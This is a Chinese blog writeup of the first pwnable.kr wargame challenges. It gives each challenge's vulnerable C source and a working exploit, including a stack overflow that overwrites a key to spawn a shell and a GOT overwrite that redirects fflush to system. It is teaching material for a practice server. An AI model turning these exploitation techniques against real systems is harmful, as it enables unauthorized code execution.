pwnable.kr第一部分writeup

pwnable.kr上的题相对而言还是比较友好的,最近刷一下上面第一部分的题查漏补缺吧

fod


思路:1.先查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

2.只要我们能够执行system(‘/bin/cat flag’)函数,我们就可以查看到falg里面的内容,所以我们要找到可以执行system函数的条件,也就是buf里面的内容是”LETMEWIN\n”。接下来的任务就是找buf何来。

read()中从fd文件符读32字节,fd即为文件操作符,只有当fd=0时我们才能通过输入控制,所以使argv[1]=’0x1234’ 即可。

exp:

1
2
3
4
5
from pwn import *                                                              
s=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
p=s.process(argv=['./fd','4660'],executable='./fd')
p.sendline('LETMEWIN')
p.interactive()

collison


思路:
1.有源码先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

2.先看代码结构:有两个函数,main()和check_password(),先看main()找到关于flag的语句,当hashcode等于将第二个参数传入check_password后的返回值时,拿到flag,hashcode已给出,分析check_password()即可,
​ int* ip = (int*)p; 此句为理解关键,将char类型指针强转为int型,ip每加一移动4个字节,所以题意为将输入的20个字节的参数分为5组,累加后等于0x21dd09ec即可
3.计算器:0x01010101 * 4 +0x1dd905e8 = 0x21dd09ec (看网上说有坏字符的影响,但这么多数,随便选一个也可以了吧。。。。)

exp:

1
2
3
4
5
from pwn import *                                                           
s=ssh(host='pwnable.kr',user='col',password='guest',port=2222)
str=p32(0x01010101)*4 + p32(0x1dd905e8)
p=s.process(argv=['./col',str],executable='./col')
p.interactive()

bof


思路:
1.有源码先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

2.看到有system函数,并且还有一个gets函数。于是可以利用这个gets函数对输入长度不加限制的条件将key的值覆盖为0xcafebabe。
3.详细原理参见ctfwif栈溢出基本原理

exp:

1
2
3
4
5
from pwn import *                                                            
s=remote('pwnable.kr',9000)
payload='A'*0x34 + p32(0xcafebabe)
s.sendline(payload)
s.interactive()

flag


思路:
1.没有给源码,只有一个elf文件。拖进IDA后发现函数少的可怜,f5也没法使用(基本是加壳了),再看hex-view发现一句话
IDA hex-view
this file is packed with the UPX…….很明显,这题需要upx的知识储备,寻找谷歌百度 ,发现文件被Upx方式加壳,需要解壳。(我实在ubuntu虚拟机上直接安装upx工具后执行upx -d 文件名 命令就可以成功脱壳)

2.之后再把它放进ida中,f5看源码得知他要把flag复制进malloc()里,但是我们可以其实可以直接双击flag直接看注释得知flag…..可能是bug…. 或者在gdb里也可以直接在传递flag给rdx的指令后下个断点,然后在已字符串形式查看rdx的值即可(如下图)

pwngdb调试图

password


思路:
1.有源码先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

2.这题有点小难度:(首先应注意到welcome()和login()同在main()里且之间没有多余操作,所以他们ebp应该一样。)第一个思路是直接把system()的地址放进welcome()的ret里,后来发现name虽然限制了为100,但是name偏移了70H,失败。第二个思路是看passcode1和passcode2的地址,通过welcome中的name设计数据来控制他们的值:有两个地方行不通:(1)passcode2与name的偏移大于100 。 (2)passcode1为338150(0x000582E6),passcode2为13371337(0x00cc07c9)即可,然而且不论这两个地址是否是可写的,至少00字节的存在就因为截断而打消念想了。
3.这个时候就需要查新的资料和方法了,通过理解plt表和got表诞生了一种新的方法,双重scanf()连续修改,在welcome()的scanf()利用name设计passcode1(需先确定passcode1的地址相对name的偏移)的值,将其值设为fflush()的got表地址,在login()的第一个scanf()向passcode1所指向的地址(Got表中原本写的是调用flush()指令的地址)改为调用system函数指令的地址,所以之后调用fflush()的时候就会调用system()。

exp:

1
2
3
4
5
6
from pwn import *
s=ssh(host='pwnable.kr',port=2222,user='passcode',password='guest')
p=s.process('./passcode')
payload='a'* 0x60 + '\x04\xa0\x04\x08' + '134514147'
p.sendline(payload)
p.interactive()

exp需注意的地方:应数是输入给scanf 有固定格式,不能随便输入,例如%d只能为十进制整数,将134514147换成0x080485e3则不对。

另:这位大佬的writeup值得一看

random


思路:
1.先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

2.明显看出rand()的种子为固定的,所以其值也为固定的值,自己写一个程序跑一下就可以得出其结果,然后key = random ^ 0xdeadbeef得出结果

exp:

1
2
3
4
5
from pwn import *                                                            
s=ssh(host='pwnable.kr',user='random',port=2222,password='guest')
p=s.process('./random')
p.sendline('3039230856')
p.interactive()

input


思路:
1.有源码分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

这道题主要考察了5种输入方式,很考验linux编程功底,没办法只能一个一个查知识点了

stage1

1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

这部份很明显,我们需要执行这个input的时候有100个参数,并且第65个参数(即A的ascii码值)是”\x00”,第66个参数是”\x20\x0a\x0d”。然而我们会发现由于”\x00”的截断和”\x20\x0a\x0d”中又有换行符回车空字符这种东西,所以在命令行里这个参数在输入时会被截断,所以我们只能用写一个C语言文件编译执行execve函数来执行这个input文件。让我们在tmp文件夹内创建一个.c文件

1
2
3
>mkdir /tmp/xxx
>cd /tmp/xxx
>touch input_argvs.c

下面是这部分exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
int i;
/*stage1 looking for 100 arguments we need one extre space at end*/
char *args[101] = {};

for(i=0; i<101; i++){
args[i] = "A";
}

args['A'] = "\x00";
args['B'] = "\x20\x0a\x0d";
args[100] = NULL;
execve("/home/input2/input", args, NULL);
}

编译执行后我们可以发现stage1 clear

stage2

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

第一个read中fd为0,这个在fd中已经见过,但对比的”\x00\x0a\x00\xff”字符串无法通过输入;而第二个read中的fd为2,表示stderr,对比”\x00\x0a\x02\xff”,stderr更是没有办法从命令行输入。因此只能IO重定向。所以我们需要fork一个子进程,然后通过pipe即可。

1
2
3
pid_t childpid;
int pipe_stdin[2];
int pipe_stderr[2];

管道有两个“端”,一个用于读取,一个用于写入,这就是数组长度为2的原因。每个末端都有一个文件描述符,一个用于读取,一个用于写入。调用pipe每个管道会创建管道的读写端。

1
2
3
4
5
// call pipe() on both pipes
if (pipe(pipe_stdin) < 0 || pipe(pipe_stderr) < 0) {
perror("oh no\n");
exit(1);
};

之后我们需要调用fork()来创建一个新的进程,并且将进程PID返回给childpid,然后检查是否成功。

1
2
3
4
5
6
// fork the process
if((childpid = fork()) < 0)
{
perror("fork failed, oop");
exit(1);
}

现在我们可以通过childpid的值判断当前活动的进程。
再次强调

如果父进程想从子进程接受数据,那么它应该关闭fd1,子进程应该关闭fd0
如果父进程想向子进程传送数据,那么它应该关闭fd0,子进程应该关闭fd1
由于描述符在父进程和子进程之间共享,所以我们应该始终确保关闭那些无关的管道端

我们可以让子进程将期望值(“\ x00 \ x0a \ x00 \ xff”和“\ x00 \ x0a \ x02 \ xff”)写入两个管道,这意味着首先我们需要关闭读取端。

else的情况表示父进程需要关闭管道的写入端。Dup2将文件描述符重新映射。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// child process can close input side of pipe and write expected values
if(childpid == 0)
{
/* Child process closes up input side of pipe */
close(pipe_stdin[0]);
close(pipe_stderr[0]);

write(pipe_stdin[1], "\x00\x0a\x00\xff", 4);
write(pipe_stderr[1], "\x00\x0a\x02\xff", 4);
return 0;
}
else
{
/* parent process can close up output side of pipe, connect it to stdin and stderr,
and then close the input side and call/home/input2/input */
close(pipe_stdin[1]);
close(pipe_stderr[1]);

dup2(pipe_stdin[0],0);
dup2(pipe_stderr[0],2);

close(pipe_stdin[0]);
close(pipe_stderr[0]);
execve("/home/input2/input", args, NULL);
}

现在stage2也通过了

stage3

在第三关,我们只需要设置env(环境变量)就行了

1
2
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

我们的解决方法是在执行execve函数时加上env参数就行了

1
2
3
char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};

execve("/home/input2/input", args, env);

stage4

第四关是读取指定文件里的内容,并且让里面的内容符合要求,我们该怎么做呢?

1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

我们只需要创建题目要求的文件,并向里面写指定的文件内容就行了。

1
2
3
4
//size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
FILE* fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

现在第四关也同过了

stage5

下面是第五关的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

Ohhh,我的天,涉及到了我的知识盲区,所以先放一放,我先补一下知识
了解了一些知识以后我们可以看出,这段代码是服务器端的,因此我们只需要创建一个与其结构相似的客户端套接字并传输数据就ok了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Stage 1 addition:  
args['C'] = "5001";

// Stage 5
sleep(5);
int sd, cd;
struct sockaddr_in saddr;
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(atoi(args['C']));

if(connect(sd, (struct sockaddr *)&saddr, sizeof(saddr))<0)
{
printf("\n Error : Connect Failed \n");
return 1;
}

write(sd, "\xde\xad\xbe\xef", 4);
close(sd);

全部的writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
int i;
/*stage1 looking for 100 arguments we need one extre space at end*/
char *args[101] = {};

for(i=0; i<101; i++){
args[i] = "A";
}

args['A'] = "\x00";
args['B'] = "\x20\x0a\x0d";
args['C'] = "5001";
args[100] = NULL;

//stage3
char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};

//stage4
FILE *fp;
fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

//stage2
pid_t childpid;
int pipe_stdin[2];
int pipe_stderr[2];
// call pipe() on both pipes
if (pipe(pipe_stdin) < 0 || pipe(pipe_stderr) < 0) {
perror("oh no\n");
exit(1);
}
// fork the process
if((childpid = fork()) < 0)
{
perror("fork failed, oop");
exit(1);
}
// child process can close input side of pipe and write expected values
if(childpid == 0)
{
/* Child process closes up input side of pipe */
close(pipe_stdin[0]);
close(pipe_stderr[0]);

write(pipe_stdin[1], "\x00\x0a\x00\xff", 4);
write(pipe_stderr[1], "\x00\x0a\x02\xff", 4);

/* Stage 5: network */
sleep(5);
int sd, cd;
struct sockaddr_in saddr;
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(atoi(args['C']));

if(connect(sd, (struct sockaddr *)&saddr, sizeof(saddr))<0)
{
printf("\n Error : Connect Failed \n");
return 1;
}

write(sd, "\xde\xad\xbe\xef", 4);
close(sd);

return 0;
}
else
{
/* parent process can close up output side of pipe, connect it to stdin and stderr,
and then close the input side and call/home/input2/input */
close(pipe_stdin[1]);
close(pipe_stderr[1]);

dup2(pipe_stdin[0],0);
dup2(pipe_stderr[0],2);

close(pipe_stdin[0]);
close(pipe_stderr[0]);
execve("/home/input2/input", args, env);
}
}

但是我们还没有完全成功,因为当前目录下没有flag,所以我们可以在当前目录下创建一个符号连接

1
input2@ubuntu:/tmp/jl2$ ln -sf /home/input2/flag flag

现在再编译运行就成功了。

-------------本文结束感谢您的阅读-------------
+ +